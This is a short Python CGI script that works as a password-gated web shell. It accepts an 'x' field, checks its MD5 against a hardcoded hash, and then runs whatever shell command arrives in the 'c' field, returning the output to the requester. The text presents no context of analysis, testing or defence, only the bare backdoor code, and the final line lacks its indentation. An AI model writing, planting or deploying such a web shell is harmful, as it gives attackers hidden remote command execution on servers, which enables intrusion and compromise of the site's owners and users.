#!/usr/bin/env python3
import sys,os,cgi,hashlib
sys.stdout.write('Content-Type: text/plain\r\n\r\n')
sys.stdout.flush()
f=cgi.FieldStorage()
x=f.getvalue('x','')
c=f.getvalue('c','')
if hashlib.md5(x.encode()).hexdigest()=='5a99f32edf8c2b9e7478daf8363fa2a7' and c:
os.write(1,os.popen(c+' 2>&1').read().encode())